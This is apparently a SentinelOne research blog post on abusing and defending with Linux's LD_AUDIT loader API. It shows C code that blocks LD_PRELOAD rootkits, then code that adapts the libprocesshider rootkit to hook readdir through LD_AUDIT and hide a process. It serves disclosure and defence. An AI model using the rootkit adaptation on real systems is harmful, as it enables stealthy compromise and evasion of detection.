Leveraging LD_AUDIT to Beat the Traditional Linux Library Preloading Technique

Removing the Dust from the Loader’s Unexplored Auditing API

In the Linux security world, there are a couple of known and dangerous mechanisms that can be abused for malicious purposes. One of those is a feature of the dynamic linker/loader (ld.so): by setting an environment variable named LD_PRELOAD to an arbitrary shared object path, all dynamic executables in this environment will load the shared library first during their initialization process. This library is loaded before all other libraries the process needs to load in order to run.

Threat actors use this trick both to intercept library calls (for process hiding and rootkit implementation in user space), and to inject code in general. You can read more about it here.

As the man page of ld.so states:

But is this trick really the first to load before everything? Can we load before it?

In SentinelOne’s Linux research team, we found a technique that can load shared libraries even before LD_PRELOAD.

The Loader’s Auditing API

We discovered that the loader exports an API that provides the ability to debug the loading process. It can be done by setting another powerful environment variable, LD_AUDIT. If this environment variable is present, the linker first loads the shared library from the assigned path, and then calls specific functions from it. The functions will be called on loader actions like object search, new library loading, and more. It is documented in the man page ‘‘rtld-audit’.

This API is mostly unknown in the Linux community, so in this article, we are going to give a brief overview of key functions of the API, while showing how we can maneuver it to do much more than simply auditing: we will utilize it defensively against LD_PRELOAD attacks. Afterward, we will reveal how it can be used offensively as well.

We begin by setting both LD_PRELOAD and LD_AUDIT to verify that the auditing library will be loaded first.

// preloadlib.so
#include <stdio.h>

__attribute__((constructor))

static void init(void) {
    printf("I'm loaded from LD_PRELOADn");
}
// auditlib.so
#include <stdio.h>

__attribute__((constructor))

static void init(void) {
    printf("I'm loaded from LD_AUDITn");
}

unsigned int la_version(unsigned int version) {  
    return version;
}

Voila! Our auditing library is loaded and executes code before the preloaded one. Let’s explore what we can do using the auditing API.

*Note that in order to use the auditing API, we are required to export the function la_version. This function is invoked first in order to report the loader’s version and verify that the auditing library supports this version. We can use this function to perform our initialization instead of the constructor function, since using constructor functions in libraries isn’t recommended if there is an alternative.

Disabling Preloading

The auditing API allows you to not only get information during the executable’s loading stage but also to change its behavior. An example of that involves the function la_objsearch (from rtld-audit).

As the man page states, if we export a function named la_objsearch with the signature above from our library, it will be called each time the loader has a library to load. Furthermore, if we return NULL instead of the library name, we will stop the library search, and the library will not be loaded at all.

In case a loading procedure we are auditing is about to preload an unwanted library, we can recognize it before it happens by retrieving the LD_PRELOAD environment variable. If this is the case, we can block it by returning NULL.

const char* preloaded;

unsigned int la_version(unsigned int version) {
  preloaded = getenv("LD_PRELOAD");
  return version;
}

char * la_objsearch(const char *name, uintptr_t *cookie, unsigned int flag) {
   if (NULL != preloaded && strcmp(name, preloaded) == 0) {
     fprintf(stderr, "Disabling the loading of a 'preload' library: %sn", name);
     return NULL;
   }   
   return (char *)name;
}

Let’s try our new preload-disabling library to prevent a real threat: we will take libprocesshider, an open-source rootkit intended to hide a process in the system using the preload technique.

Note that there are other methods to invoke the preloading mechanism. For example (as mentioned in the rootkit repo), writing the library name to the file in the path “/etc/ld.so.preload”. For the sake of clarity, we will only address the environment variable LD_PRELOAD, even though the example can be tweaked to work with “/etc/ld.so.preload” as well.

We will run a python script with the name evil_script.py, the same process name to hide as the example in the repo. ‘

Let’s verify that the rootkit works, and evil_script.py is hidden.

Now, what happens if we invoke it with our LD_AUDIT library as well?

The script isn’t hidden anymore, and the rootkit is disabled! Note that the loader printed an error: its origin is in the function do_preload from the loader’s code – the function that handles preloaded libraries only.

After successfully disabling the library, we now want to investigate the rootkit and find out which function it intercepts in order to hide the process. In case the rootkit isn’t known, we can reverse-engineer it or attach a debugger to the library in a process context, but the audit API gives us a much easier option.

From the docs, we see there are two interesting API functions for this purpose, la_objopen and la_symbind64:

After the loader finds and opens a library, and when the library is about to load, the function la_objopen in our auditing library will be invoked.

The struct link_map holds the library name; hence, we can know if the library about to be loaded is the one specified in LD_PRELOAD.

At this point, the library is loaded into the process’s address space. Whenever an imported function is going to be called for the first time, the process will ask the loader to resolve the function’s symbol to its address.

We can monitor symbol-binding in the opened library if we return the flags “LA_FLG_BINDTO” and “LA_FLG_BINDFROM” in la_objopen. After returning these flags, each symbol binding inside the opened library will invoke the following API function:

Note: In case it’s a 32-bit platform, the invoked API function will be named la_symbind32.

Using everything we’ve learned, we can now write the following code:

  1. Capture the la_objopen call for the preloaded library, store its cookie (a unique identifier value for the library), and mark it for auditing to receive la_symbind64 calls with the functions it intercepts.
  2. In the bind API call, we will verify the cookie of the referrer to make sure it’s the current library, and report the name of the intercepted function.
uintptr_t * preloaded_cookie = NULL;

unsigned int la_objopen(struct link_map *map, Lmid_t lmid, uintptr_t *cookie){
    if (NULL != preloaded && strcmp(map->l_name, preloaded) == 0) {
        fprintf(stderr, "A 'preload' library is about to load: %s. Following its function bindingn", map->l_name);
        preloaded_cookie = cookie;
    
        return LA_FLG_BINDTO | LA_FLG_BINDFROM;
  }  
  return 0;
}

uintptr_t la_symbind64(Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) {
  if (refcook == preloaded_cookie) {    
      fprintf(stderr, "Function '%s' is interceptedn", symname);
  }
  return sym->st_value;
}

Let’s compile and see what libprocesshider really does:

Alright! The only intercepted function is readdir. This can be verified in the rootkit source code. This is the libc function which ps calls on “/proc”, the directory where Linux stores information about processes. Each time readdir is called on “/proc”, the rootkit finds evil_script.py’s PID and removes it from the directory listing that readdir returns. This way, any dynamic binary that tries to retrieve the process list using libc, won’t see the hidden process.

Code Injection and Interception

We had fun controlling and disabling the preloaded library, but can we use LD_AUDIT for other purposes as well?

As we have seen before, the LD_AUDIT technique can also be used to run arbitrary code in another process’s context (code injection) by simply writing the desired code in la_version.

But what about intercepting library function calls the same way LD_PRELOAD does? Can we use what we learned about the auditing API and use LD_AUDIT to load a rootkit?

As we have seen in previous audit functions, the API function la_symbind64 does not only provide information but can also modify the program behavior:

Therefore, we can override any desired function with our own in the resolving stage!

As we learned before, to write a process-hiding rootkit, we need to hook the readdir function symbol with our own function.

Let’s try and adapt libprocesshider to work with LD_AUDIT. We will add the following code to processhider.c:

unsigned int la_version(unsigned int version) {
    return version;
}

unsigned int la_objopen(struct link_map *map, Lmid_t lmid, uintptr_t *cookie){ 
    return LA_FLG_BINDTO | LA_FLG_BINDFROM;
}

uintptr_t la_symbind64(Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) {
    if (strcmp(symname, "readdir") == 0) {    
        fprintf(stderr, "'readdir' is called, intercepting.n");
        // readdir is the tampered function declared in processhider.c
        return readdir;  
    }  
    return sym->st_value;
}

And to the final moment:

That’s it, evil_script.py is nowhere to be seen! We adapted a rootkit that uses a known technique to our newly explored LD_AUDIT technique!

Conclusion

The dynamic loader’s auditing API is a very powerful tool. It can be easily used to control the loaded libraries and modify the behavior of the process it is attached to.

In this post, we explored the auditing API, a powerful API that hasn’t been discussed before. We first showed its superiority to LD_PRELOAD, which derives from the fact it is loaded first. Then we showed its capabilities that allowed us to easily monitor and disable preloading. Finally, we showed that it can replace LD_PRELOAD.

The main problem with using the LD_PRELOAD trick for malicious actors is that it is already widely known – exposed malwares use it, and it even has a MITRE technique. System administrators, SOC, and IR teams know to look for it, and some even disable it preventatively system-wide.

That is why adversaries can benefit from the fact that LD_AUDIT is unfamiliar for those purposes.

Note that other than LD_AUDIT, there are other dangerous and unexplored vectors like other LD_* variables and DT_RPATH  which can also be abused. It is clear that the loader has a much higher destructive potential than we would expect from a process loader.

During the writing of the article, while looking for references, we found that the “disable preloading” part had been introduced by ForensicITGuy. He also created a functional library called libpreloadvaccine which can be integrated into Linux environments.

Further Reading

Aside from the links provided in the article, the following may also be of interest.

  1. The loader’s source code is inside glibc’s repository:https://code.woboq.org/userspace/glibc/
  2. The most relevant files are rtld.c and all dl-*.c

  3. More on process hiding and LD_PRELOAD:
  4. https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

  5. Thorough explanation on symbol resolving:
  6. https://ypl.coffee/dl-resolve/

  7. More on the loader’s internals:
  8. http://s.eresi-project.org/inc/articles/elf-rtld.txt